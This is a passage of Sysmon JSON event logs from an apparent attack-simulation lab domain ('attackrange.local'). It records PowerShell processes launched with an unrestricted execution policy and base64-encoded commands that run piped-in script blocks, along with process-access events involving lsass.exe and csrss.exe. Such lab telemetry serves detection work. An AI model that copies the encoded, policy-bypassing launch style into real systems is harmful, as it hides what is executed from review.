11:55:38.818","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","TargetProcessId":"1276","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4322,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.876\r\nProcessGuid: {90617006-413A-5F2D-0000-0010CB190600}\r\nProcessId: 4256\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-413A-5F2D-0000-0010F40D0600}\r\nParentProcessId: 1276\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.876","ProcessGuid":"{90617006-413A-5F2D-0000-0010CB190600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-413A-5F2D-0000-0010F40D0600}","ParentProcessId":"1276","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4323,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nSourceProcessId: 1276\r\nSourceThreadId: 864\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d0d2f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c53488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c592d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c576251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5681d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5742fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55a127(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","SourceProcessId":"1276","SourceThreadId":"864","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d0d2f4b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c53488c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c592d5b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5763c0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c576251(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5681d6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574709(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c5742fc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c574025(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c573cf6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3d02510b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55ab57(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c55a127(wow64)","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4324,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 